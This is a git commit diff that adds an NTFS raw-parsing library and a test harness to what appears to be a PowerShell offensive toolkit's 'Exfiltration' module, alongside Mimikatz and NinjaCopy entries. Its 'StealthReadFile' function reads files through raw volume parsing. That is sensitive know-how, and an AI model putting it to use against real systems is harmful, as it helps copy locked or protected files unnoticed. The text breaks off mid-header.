Adding Invoke-Mimikatz and Invoke-Ninjacopy
|
|
@ -74,7 +74,8 @@ ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID =
|
|||
|
||||
# List of all files packaged with this module
|
||||
FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
|
||||
'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md'
|
||||
'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1',
|
||||
'Invoke-NinjaCopy.ps1'
|
||||
|
||||
# Private data to pass to the module specified in RootModule/ModuleToProcess
|
||||
# PrivateData = ''
|
||||
|
|
|
|||
|
|
@ -0,0 +1,26 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 2012
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NTFSParserDLL", "NTFSParserDLL\NTFSParserDLL.vcxproj", "{5E42B778-F231-4797-B7FD-7D5BCA9738D0}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Debug|x64 = Debug|x64
|
||||
Release|Win32 = Release|Win32
|
||||
Release|x64 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|x64.Build.0 = Debug|x64
|
||||
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|Win32.Build.0 = Release|Win32
|
||||
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|x64.ActiveCfg = Release|x64
|
||||
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|x64.Build.0 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
|
|
@ -0,0 +1,28 @@
|
|||
/*
|
||||
* NTFS include files
|
||||
*
|
||||
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
|
||||
*
|
||||
* This program/include file is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU General Public License as published
|
||||
* by the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program/include file is distributed in the hope that it will be
|
||||
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
|
||||
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*/
|
||||
|
||||
#ifndef __NTFS_H_CYB70289
|
||||
#define __NTFS_H_CYB70289
|
||||
|
||||
#pragma pack(8)
|
||||
|
||||
#include "NTFS_Common.h"
|
||||
#include "NTFS_FileRecord.h"
|
||||
#include "NTFS_Attribute.h"
|
||||
|
||||
#pragma pack()
|
||||
|
||||
#endif
|
||||
|
|
@ -0,0 +1,49 @@
|
|||
/*
|
||||
*
|
||||
* Copyright(C) 2013 Joe Bialek Twitter:@JosephBialek
|
||||
*
|
||||
* This program/include file is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU General Public License as published
|
||||
* by the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program/include file is distributed in the hope that it will be
|
||||
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
|
||||
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*/
|
||||
//
|
||||
// This code uses libraries released under GPLv2(or later) written by cyb70289 <cyb70289@gmail.com>
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "NTFS.h"
|
||||
#include "NTFS_Attribute.h"
|
||||
#include "NTFS_Common.h"
|
||||
#include "NTFS_DataType.h"
|
||||
#include "NTFS_FileRecord.h"
|
||||
|
||||
using namespace std;
|
||||
|
||||
typedef DWORD (CDECL *StealthReadFile_Func)(string, BYTE*, DWORD, ULONGLONG, DWORD*, ULONGLONG*);
|
||||
|
||||
int _tmain(int argc, _TCHAR* argv[])
|
||||
{
|
||||
HMODULE parserDLLHandle = LoadLibraryA("NTFSParserDLL.dll");
|
||||
HANDLE procAddress = GetProcAddress(parserDLLHandle, "StealthReadFile");
|
||||
|
||||
StealthReadFile_Func StealthReadFile = (StealthReadFile_Func)procAddress;
|
||||
|
||||
DWORD buffSize = 1024*1024;
|
||||
BYTE* buffer = new BYTE[buffSize];
|
||||
DWORD bytesRead = 0;
|
||||
ULONGLONG bytesLeft = 0;
|
||||
DWORD ret = StealthReadFile("c:\\test\\test.txt", buffer, buffSize, 0, &bytesRead, &bytesLeft);
|
||||
|
||||
cout << "Return value: " << ret << endl;
|
||||
|
||||
ofstream myFile("c:\\test\\test2.txt", ios::out | ios::binary);
|
||||
myFile.write((char*)buffer, bytesRead);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
|
@ -0,0 +1,165 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{2F38A7A9-D810-451B-BB19-273770AF4D25}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>NTFSParser</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<CharacterSet>NotSet</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<CharacterSet>NotSet</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="ReadMe.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="NTFS.h" />
|
||||
<ClInclude Include="NTFS_Attribute.h" />
|
||||
<ClInclude Include="NTFS_Common.h" />
|
||||
<ClInclude Include="NTFS_DataType.h" />
|
||||
<ClInclude Include="NTFS_FileRecord.h" />
|
||||
<ClInclude Include="stdafx.h" />
|
||||
<ClInclude Include="targetver.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="NTFSParser.cpp" />
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
|
|
@ -0,0 +1,51 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="ReadMe.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="stdafx.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="targetver.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="NTFS.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="NTFS_Attribute.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="NTFS_Common.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="NTFS_DataType.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="NTFS_FileRecord.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="NTFSParser.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
|
|
@ -0,0 +1,317 @@
|
|||
/*
|
||||
* NTFS Class common definitions
|
||||
*
|
||||
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
|
||||
*
|
||||
* This program/include file is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU General Public License as published
|
||||
* by the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program/include file is distributed in the hope that it will be
|
||||
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
|
||||
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*/
|
||||
|
||||
#ifndef __NTFS_COMMON_H_CYB70289
|
||||
#define __NTFS_COMMON_H_CYB70289
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
#include <crtdbg.h>
|
||||
|
||||
#include "NTFS_DataType.h"
|
||||
|
||||
#define ATTR_NUMS 16 // Attribute Types count
|
||||
#define ATTR_INDEX(at) (((at)>>4)-1) // Attribute Type to Index, eg. 0x10->0, 0x30->2
|
||||
#define ATTR_MASK(at) (((DWORD)1)<<ATTR_INDEX(at)) // Attribute Bit Mask
|
||||
|
||||
// Bit masks of Attributes
|
||||
#define MASK_STANDARD_INFORMATION ATTR_MASK(ATTR_TYPE_STANDARD_INFORMATION)
|
||||
#define MASK_ATTRIBUTE_LIST ATTR_MASK(ATTR_TYPE_ATTRIBUTE_LIST)
|
||||
#define MASK_FILE_NAME ATTR_MASK(ATTR_TYPE_FILE_NAME)
|
||||
#define MASK_OBJECT_ID ATTR_MASK(ATTR_TYPE_OBJECT_ID)
|
||||
#define MASK_SECURITY_DESCRIPTOR ATTR_MASK(ATTR_TYPE_SECURITY_DESCRIPTOR)
|
||||
#define MASK_VOLUME_NAME ATTR_MASK(ATTR_TYPE_VOLUME_NAME)
|
||||
#define MASK_VOLUME_INFORMATION ATTR_MASK(ATTR_TYPE_VOLUME_INFORMATION)
|
||||
#define MASK_DATA ATTR_MASK(ATTR_TYPE_DATA)
|
||||
#define MASK_INDEX_ROOT ATTR_MASK(ATTR_TYPE_INDEX_ROOT)
|
||||
#define MASK_INDEX_ALLOCATION ATTR_MASK(ATTR_TYPE_INDEX_ALLOCATION)
|
||||
#define MASK_BITMAP ATTR_MASK(ATTR_TYPE_BITMAP)
|
||||
#define MASK_REPARSE_POINT ATTR_MASK(ATTR_TYPE_REPARSE_POINT)
|
||||
#define MASK_EA_INFORMATION ATTR_MASK(ATTR_TYPE_EA_INFORMATION)
|
||||
#define MASK_EA ATTR_MASK(ATTR_TYPE_EA)
|
||||
#define MASK_LOGGED_UTILITY_STREAM ATTR_MASK(ATTR_TYPE_LOGGED_UTILITY_STREAM)
|
||||
|
||||
#define MASK_ALL ((DWORD)-1)
|
||||
|
||||
#define NTFS_TRACE(t1) _RPT0(_CRT_WARN, t1)
|
||||
#define NTFS_TRACE1(t1, t2) _RPT1(_CRT_WARN, t1, t2)
|
||||
#define NTFS_TRACE2(t1, t2, t3) _RPT2(_CRT_WARN, t1, t2, t3)
|
||||
#define NTFS_TRACE3(t1, t2, t3, t4) _RPT3(_CRT_WARN, t1, t2, t3, t4)
|
||||
#define NTFS_TRACE4(t1, t2, t3, t4, t5) _RPT4(_CRT_WARN, t1, t2, t3, t4, t5)
|
||||
|
||||
// User defined Callback routines to process raw attribute data
|
||||
// Set bDiscard to TRUE if this Attribute is to be discarded
|
||||
// Set bDiscard to FALSE to let CFileRecord process it
|
||||
typedef void (*ATTR_RAW_CALLBACK)(const ATTR_HEADER_COMMON *attrHead, BOOL *bDiscard);
|
||||
|
||||
// User defined Callback routine to handle CFileRecord parsed attributes
|
||||
// Will be called by CFileRecord::TraverseAttrs() for each attribute
|
||||
// attrClass is the according attribute's wrapping class, CAttr_xxx
|
||||
// Set bStop to TRUE if don't want to continue
|
||||
// Set bStop to FALSE to continue processing
|
||||
class CAttrBase;
|
||||
typedef void (*ATTRS_CALLBACK)(const CAttrBase *attr, void *context, BOOL *bStop);
|
||||
|
||||
// User defined Callback routine to handle Directory traversing
|
||||
// Will be called by CFileRecord::TraverseSubEntries for each sub entry
|
||||
class CIndexEntry;
|
||||
typedef void (*SUBENTRY_CALLBACK)(const CIndexEntry *ie);
|
||||
|
||||
|
||||
// List Entry
|
||||
template <class ENTRY_TYPE>
|
||||
struct NTSLIST_ENTRY
|
||||
{
|
||||
NTSLIST_ENTRY *Next;
|
||||
ENTRY_TYPE *Entry;
|
||||
};
|
||||
|
||||
// List Entry Smart Pointer
|
||||
template <class ENTRY_TYPE>
|
||||
class CEntrySmartPtr
|
||||
{
|
||||
public:
|
||||
CEntrySmartPtr(ENTRY_TYPE *ptr = NULL)
|
||||
{
|
||||
EntryPtr = ptr;
|
||||
}
|
||||
|
||||
virtual ~CEntrySmartPtr()
|
||||
{
|
||||
if (EntryPtr)
|
||||
delete EntryPtr;
|
||||
}
|
||||
|
||||
private:
|
||||
const ENTRY_TYPE *EntryPtr;
|
||||
|
||||
public:
|
||||
__inline CEntrySmartPtr<ENTRY_TYPE> operator = (const ENTRY_TYPE* ptr)
|
||||
{
|
||||
// Delete previous pointer if allocated
|
||||
if (EntryPtr)
|
||||
delete EntryPtr;
|
||||
|
||||
EntryPtr = ptr;
|
||||
|
||||
return *this;
|
||||
}
|
||||
|
||||
__inline const ENTRY_TYPE* operator->() const
|
||||
{
|
||||
_ASSERT(EntryPtr);
|
||||
return EntryPtr;
|
||||
}
|
||||
|
||||
__inline BOOL IsValid() const
|
||||
{
|
||||
return EntryPtr != NULL;
|
||||
}
|
||||
};
|
||||
|
||||
//////////////////////////////////////
|
||||
// Single list implementation
|
||||
//////////////////////////////////////
|
||||
template <class ENTRY_TYPE>
|
||||
class CSList
|
||||
{
|
||||
public:
|
||||
CSList()
|
||||
{
|
||||
ListHead = ListTail = NULL;
|
||||
ListCurrent = NULL;
|
||||
EntryCount = 0;
|
||||
}
|
||||
|
||||
virtual ~CSList()
|
||||
{
|
||||
RemoveAll();
|
||||
}
|
||||
|
||||
private:
|
||||
int EntryCount;
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *ListHead;
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *ListTail;
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *ListCurrent;
|
||||
|
||||
public:
|
||||
// Get entry count
|
||||
__inline int GetCount() const
|
||||
{
|
||||
return EntryCount;
|
||||
}
|
||||
|
||||
// Insert to tail
|
||||
BOOL InsertEntry(ENTRY_TYPE *entry)
|
||||
{
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *le = new NTSLIST_ENTRY<ENTRY_TYPE>;
|
||||
if (!le)
|
||||
return FALSE;
|
||||
|
||||
le->Entry = entry;
|
||||
le->Next = NULL;
|
||||
|
||||
if (ListTail == NULL)
|
||||
ListHead = le; // Empty list
|
||||
else
|
||||
ListTail->Next = le;
|
||||
|
||||
ListTail = le;
|
||||
|
||||
EntryCount++;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Remove all entries
|
||||
void RemoveAll()
|
||||
{
|
||||
while (ListHead)
|
||||
{
|
||||
ListCurrent = ListHead->Next;
|
||||
delete ListHead->Entry;
|
||||
delete ListHead;
|
||||
|
||||
ListHead = ListCurrent;
|
||||
}
|
||||
|
||||
ListHead = ListTail = NULL;
|
||||
ListCurrent = NULL;
|
||||
EntryCount = 0;
|
||||
}
|
||||
|
||||
// Find first entry
|
||||
__inline ENTRY_TYPE *FindFirstEntry() const
|
||||
{
|
||||
((CSList<ENTRY_TYPE>*)this)->ListCurrent = ListHead;
|
||||
|
||||
if (ListCurrent)
|
||||
return ListCurrent->Entry;
|
||||
else
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Find next entry
|
||||
__inline ENTRY_TYPE *FindNextEntry() const
|
||||
{
|
||||
if (ListCurrent)
|
||||
((CSList<ENTRY_TYPE>*)this)->ListCurrent = ListCurrent->Next;
|
||||
|
||||
if (ListCurrent)
|
||||
return ListCurrent->Entry;
|
||||
else
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Throw all entries
|
||||
// Caution! All entries are just thrown without free
|
||||
__inline void ThrowAll()
|
||||
{
|
||||
ListHead = ListTail = NULL;
|
||||
ListCurrent = NULL;
|
||||
EntryCount = 0;
|
||||
}
|
||||
}; //CSList
|
||||
|
||||
|
||||
//////////////////////////////////////
|
||||
// Stack implementation
|
||||
//////////////////////////////////////
|
||||
template <class ENTRY_TYPE>
|
||||
class CStack
|
||||
{
|
||||
public:
|
||||
CStack()
|
||||
{
|
||||
ListHead = ListTail = NULL;
|
||||
EntryCount = 0;
|
||||
}
|
||||
|
||||
virtual ~CStack()
|
||||
{
|
||||
RemoveAll();
|
||||
}
|
||||
|
||||
private:
|
||||
int EntryCount;
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *ListHead;
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *ListTail;
|
||||
|
||||
public:
|
||||
// Get entry count
|
||||
__inline int GetCount() const
|
||||
{
|
||||
return EntryCount;
|
||||
}
|
||||
|
||||
// Insert to head
|
||||
BOOL Push(ENTRY_TYPE *entry)
|
||||
{
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *le = new NTSLIST_ENTRY<ENTRY_TYPE>;
|
||||
if (!le)
|
||||
return FALSE;
|
||||
|
||||
le->Entry = entry;
|
||||
le->Next = ListHead;
|
||||
|
||||
ListHead = le;
|
||||
|
||||
if (ListTail == NULL)
|
||||
ListTail = le; // Empty list
|
||||
|
||||
EntryCount ++;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Remove from head
|
||||
ENTRY_TYPE* Pop()
|
||||
{
|
||||
if (ListHead == NULL)
|
||||
return NULL;
|
||||
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *le = ListHead;
|
||||
ENTRY_TYPE *e = le->Entry;
|
||||
|
||||
if (ListTail == ListHead)
|
||||
ListTail = ListHead->Next;
|
||||
ListHead = ListHead->Next;
|
||||
|
||||
delete le;
|
||||
EntryCount --;
|
||||
|
||||
return e;
|
||||
}
|
||||
|
||||
// Remove all entries
|
||||
void RemoveAll()
|
||||
{
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *le;
|
||||
|
||||
while (ListHead)
|
||||
{
|
||||
le = ListHead->Next;
|
||||
delete ListHead->Entry;
|
||||
delete ListHead;
|
||||
|
||||
ListHead = le;
|
||||
}
|
||||
|
||||
ListHead = ListTail = NULL;
|
||||
EntryCount = 0;
|
||||
}
|
||||
}; //CStack
|
||||
|
||||
#endif
|
||||
|
|
@ -0,0 +1,380 @@
|
|||
/*
|
||||
* NTFS data structures and definitions
|
||||
*
|
||||
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
|
||||
*
|
||||
* This program/include file is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU General Public License as published
|
||||
* by the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program/include file is distributed in the hope that it will be
|
||||
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
|
||||
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*/
|
||||
|
||||
#ifndef __NTFS_DATATYPE_H_CYB70289
|
||||
#define __NTFS_DATATYPE_H_CYB70289
|
||||
|
||||
// NTFS Boot Sector BPB
|
||||
|
||||
#define NTFS_SIGNATURE "NTFS "
|
||||
|
||||
#pragma pack(1)
|
||||
typedef struct tagNTFS_BPB
|
||||
{
|
||||
// jump instruction
|
||||
BYTE Jmp[3];
|
||||
|
||||
// signature
|
||||
BYTE Signature[8];
|
||||
|
||||
// BPB and extended BPB
|
||||
WORD BytesPerSector;
|
||||
BYTE SectorsPerCluster;
|
||||
WORD ReservedSectors;
|
||||
BYTE Zeros1[3];
|
||||
WORD NotUsed1;
|
||||
BYTE MediaDescriptor;
|
||||
WORD Zeros2;
|
||||
WORD SectorsPerTrack;
|
||||
WORD NumberOfHeads;
|
||||
DWORD HiddenSectors;
|
||||
DWORD NotUsed2;
|
||||
DWORD NotUsed3;
|
||||
ULONGLONG TotalSectors;
|
||||
ULONGLONG LCN_MFT;
|
||||
ULONGLONG LCN_MFTMirr;
|
||||
